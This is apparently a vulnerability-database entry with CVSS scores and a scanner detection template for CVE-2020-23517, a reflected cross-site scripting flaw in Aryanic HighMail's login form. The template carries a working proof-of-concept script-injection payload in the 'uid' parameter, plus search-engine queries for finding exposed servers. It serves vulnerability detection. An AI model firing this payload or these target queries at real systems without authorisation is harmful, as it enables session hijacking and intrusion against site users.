CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
49.0%
A cross-site scripting vulnerability in Aryanic HighMail (High CMS) versions 2020 and before allows remote attackers to inject arbitrary web script or HTML, via ‘user’ to LoginForm.
id: CVE-2020-23517
info:
name: Aryanic HighMail (High CMS) - Cross-Site Scripting
author: geeknik
severity: medium
description: A cross-site scripting vulnerability in Aryanic HighMail (High CMS) versions 2020 and before allows remote attackers to inject arbitrary web script or HTML, via 'user' to LoginForm.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://vulnerabilitypublishing.blogspot.com/2021/03/aryanic-highmail-high-cms-reflected.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-23517
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/d4n-sec/d4n-sec.github.io
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-23517
cwe-id: CWE-79
epss-score: 0.00135
epss-percentile: 0.48718
cpe: cpe:2.3:a:aryanic:high_cms:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: aryanic
product: high_cms
shodan-query:
- title:"HighMail"
- http.title:"highmail"
fofa-query:
- title="HighMail"
- title="highmail"
google-query: intitle:"highmail"
tags: cve,cve2020,xss,cms,highmail,aryanic
http:
- method: GET
path:
- "{{BaseURL}}/login/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
- "{{BaseURL}}/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- 'value=""><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a004730450220154df7868429b23b96e73af4e3eabceace22d921d859b41f9ca200509decb003022100ce2e68eccba5dea0c0077f4b1ccb54bfb3164f7add0893192dba06672e328afa:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
49.0%